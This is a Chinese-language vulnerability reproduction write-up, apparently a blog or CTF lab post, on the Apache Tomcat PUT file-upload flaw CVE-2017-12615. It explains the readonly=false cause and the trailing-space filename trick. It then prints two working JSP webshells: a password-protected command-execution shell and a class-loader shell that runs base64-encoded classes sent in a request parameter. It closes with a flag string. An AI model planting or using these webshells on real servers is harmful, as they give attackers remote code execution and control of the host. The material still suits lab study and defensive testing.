一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)

1.1、漏洞原理

描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的: 而其他的静态文件是通过 DefaultServlet 处理的: 可以得知,"1.jsp "(末尾有一个空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时: 会调用 resources.bind: dirContext 为 FileDirContext: 调用 rebind 创建文件: 又由于Windows 不允许" "作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

复制代码
<servlet>

    <servlet-name>defaultservlet-name>

    <servlet-class>org.apache.catalina.servlets.DefaultServletservlet-class>

    <init-param>

        <param-name>debugparam-name>

        <param-value>0param-value>

    init-param>

    <init-param>

        <param-name>listingsparam-name>

        <param-value>falseparam-value>

    init-param>

    <init-param>

        <param-name>readonlyparam-name>

        <param-value>falseparam-value>

    init-param>

    <load-on-startup>1load-on-startup>

servlet>

1.2、影响范围(不重要,去试就行)

Apache Tomcat 7.0.0 - 8.0.81

1.3、 漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

1.4、漏洞复现

如下是回显jsp马

复制代码
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
"); } %>

如下是连接的jsp一句话木马,,密码是passwd

复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}

相关推荐
独行soc4 小时前
2025年渗透测试面试题总结-254(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
武汉唯众智创5 小时前
网络安全教学升级!基于深度强化学习的动态对抗网络安全防护教学方案全解析
网络·人工智能·安全·web安全·生成对抗网络·网络安全
一位搞嵌入式的 genius7 小时前
TLS协议深度解析:新一代网络安全传输标准
网络·计算机网络·安全·web安全·网络通信·tls协议
上海云盾第一敬业销售7 小时前
高防CDN助力网络安全与性能优化
安全·web安全·性能优化
llxxyy卢10 小时前
了解xss漏洞pikachu的三大基础xss和xss平台
安全·web安全·xss
wanhengidc12 小时前
云手机的工作原理是什么
网络·web安全·游戏·智能手机
lifejump18 小时前
Arpspoof | ARP Poisoning及其防护
网络·安全·web安全
意疏1 天前
Kali远程桌面+cpolar:网络安全攻防的跨域协作新范式
安全·web安全
云安全联盟大中华区1 天前
构建AI原生工程组织:关于速度、文化与安全的经验
人工智能·安全·web安全·网络安全·ai·ai-native
oh-pinpin1 天前
【BurpSuite】【SQLmap】sql注入漏洞
sql·web安全·安全性测试